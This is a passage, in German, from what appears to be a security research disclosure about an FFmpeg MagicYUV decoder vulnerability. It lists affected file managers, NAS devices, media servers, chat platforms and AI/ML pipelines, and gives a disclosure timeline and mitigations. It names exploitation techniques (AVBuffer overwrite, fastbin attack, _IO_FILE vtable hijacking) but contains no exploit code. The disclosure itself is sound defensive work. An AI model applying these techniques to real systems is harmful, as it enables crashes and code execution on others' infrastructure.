  • Thumbnail-Generierung: Linux-Dateimanager (Nautilus, Dolphin, Thunar) starten ffmpegthumbnailer bereits dann, wenn ein Nutzer lediglich ein Verzeichnis mit einer schädlichen Datei aufruft – ein Klick ist nicht erforderlich.
  • Vorschau-Generierung: NAS-Geräte (Synology DSM, QNAP), Foto-Manager (Immich, PhotoPrism) und Cloud-Speicher (Nextcloud – RCE bestätigt, siehe oben) erzeugen beim Hochladen Thumbnails.
  • Extraktion von Metadaten: Medienserver führen ffprobe aus, um Stream-Informationen zu extrahieren. Der automatische Scan von Jellyfin wird bei jeder neuen Datei in der Medienbibliothek ausgelöst.
  • ML/KI-Pipelines: vLLM und andere multimodale KI-Frameworks, die PyAV/libavcodec zur Decodierung von Videoeingaben verwenden (bestätigter DoS, 3/3 SIGSEGV) sind ebenfalls betroffen.
  • Chat-Plattformen: Slack, Discord, Telegram und WhatsApp erzeugen alle serverseitige Video-Previews mit FFmpeg (Architektur ist in ihren Engineering-Blogs dokumentiert; nicht in der Produktion getestet).

Neue Angriffsflächen: KI/ML und darüber hinaus

Die Reichweite der Schwachstelle geht weit über klassische Medienanwendungen hinaus. Wir haben empfohlen, mehrere relevante Ziele im KI/ML-Ökosystem, die Videos über FFmpeg verarbeiten, auf eine mögliche Gefährdung zu untersuchen:

Ziel Wie es FFmpeg verwendet Auswirkung
vLLM Verwendet PyAV (In-Process-FFmpeg-Bindings) zum Decodieren von Videoeingaben für multimodale LLM-Inferenz. Wir haben DoS bestätigt: 3/3 SIGSEGV. Absturz des Inferenz-Workers; bei gemeinsam genutzten Deployments führt das zum Absturz des Serving-Prozesses für alle Nutzer
LLaVA / LLaVA-NeXT Multimodale Vision-Language-Modelle. Die Decode-Pipeline verwendet PyAV oder OpenCV. Worker-Absturz; bei lang laufenden Serving-Prozessen besteht Potenzial für Heap-Korruption
OpenCV (cv2.VideoCapture) Verknüpft die systemweite libavcodec Wird überall in ML-Trainingspipelines eingesetzt. SIGABRT bei jedem VideoCapture.read() der schädlichen Datei
Hugging Face Datasets Video-Datensätze, die über PyAV oder einen ffmpeg-Subprozess geladen werden. Absturz beim Laden von Datensätzen; manipulierte Datensatzeinträge könnten bei Trainingsläufen einen DoS verursachen
NVIDIA DALI GPU-beschleunigte Datenlade-Pipeline. Kann FFmpeg-Backend verwenden. Worker-Absturz; potenzielles Kaskadenversagen beim verteilten Training
Ray Data / Ray Serve Verteilte Datenverarbeitung und Modell-Serving. Der Absturz wirkt sich auf weitere Ray-Worker aus; ein einzelnes schädliches Video beeinträchtigt den Cluster
Roboflow / Supervisely / CVAT CV(Computer Vision)-Annotationsplattformen. Verarbeitet von Nutzern hochgeladene Videos. Serverseitiger Absturz beim Upload; Heap-Beschädigung in Annotation-Workern

 

Das gemeinsame Muster bei all diesen Targets: Sie akzeptieren Videos aus nicht vertrauenswürdigen Quellen (User-Uploads, Web-Scraping, öffentliche Datensätze oder Modell-Prompts) und verarbeiten sie ohne Codec-Filterung über libavcodec. Der MagicYUV-Decoder ist in jedem Standard-Build aktiviert.

Wir haben die DoS-Auswirkungen direkt mit vLLM überprüft und den Absturz bestätigt. Eine RCE über die AVBuffer-Overwrite-Primitive lässt sich nicht direkt von FFmpeg 7.1.3 auf libavcodec 4.4 (die von PyAV unter Ubuntu 22.04 verlinkte Version) übertragen. Der Grund ist eine andere Heap-Layout-Geometrie: Die AVBuffer-Struktur liegt dort 14 KB vor dem Ende der Chroma-Ebene statt 256 Bytes dahinter und damit außerhalb der Reichweite des OOB-Writes. Alternative Exploitation-Strategien (Fastbin-Angriff über Chunk-Metadaten innerhalb des OOB-Bereichs oder ein Hijacking der _IO_FILE-vtable) bleiben jedoch weiterhin möglich und sollten weiter untersucht werden.

Daher empfehlen wir Teams, die eine KI/ML-Infrastruktur zur Verarbeitung von Videoeingaben betreiben, ihre FFmpeg-Abhängigkeit zu prüfen und entweder den Patch anzuwenden oder den MagicYUV-Decoder zu deaktivieren.

Zeitlicher Ablauf der Disclosure

Datum Event
13. Mai 2026 JFrog Security Research meldete die Schwachstelle dem FFmpeg-Sicherheitsteam (ffmpeg-security@ffmpeg.org).
19. Mai 2026 Das FFmpeg-Sicherheitsteam bestätigte die Meldung.
24. Mai 2026 JFrog Security Research meldete die Schwachstelle dem Jellyfin-Sicherheitsteam (security@jellyfin.org).
26. Mai 2026 Das Jellyfin-Sicherheitsteam aktualisierte seine Upstream-Version
26. Mai 2026 Gemeldet an die Sicherheitsteams von mpv, obsproject, photoprism und immich und die Meldung wurde an das Bug-Bounty-Programm von Nextcloud übermittelt
27. Mai 2026 Das Sicherheitsteam von Photoprism eröffnete auf ihrem GitHub einen Issue, um eine Liste von FFmpeg-Formaten und -Codecs auszuschließen.

Das Nextcloud-Team antwortete auf HackerOne, dass es das nicht als Problem einstufe, da die Schwachstelle außerhalb von Nextcloud liegt.

31. Mai 2026 Dem Sicherheitsteam von vLLM gemeldet
7. Juni 2026 An das Kodi-Team gemeldet
17. Juni 2026 FFmpeg veröffentlichte eine gepatchte Version (8.1.2), die eine Behebung für CVE-2026-8461 enthält.
18. Juni 2026 CVE veröffentlicht.
22. Juni 2026 JFrog Security Research veröffentlicht diesen Artikel.

So schützen Sie sich

Angesichts einer stetig wachsenden Angriffsfläche und täglich neu entdeckter Bedrohungen lohnt es sich, bei aktuellen Schwachstellen auf dem Laufenden zu bleiben. Setzen Sie dazu ein Lesezeichen für das JFrog Security Research Center und informieren Sie sich regelmäßig über unsere neuesten Forschungsergebnisse.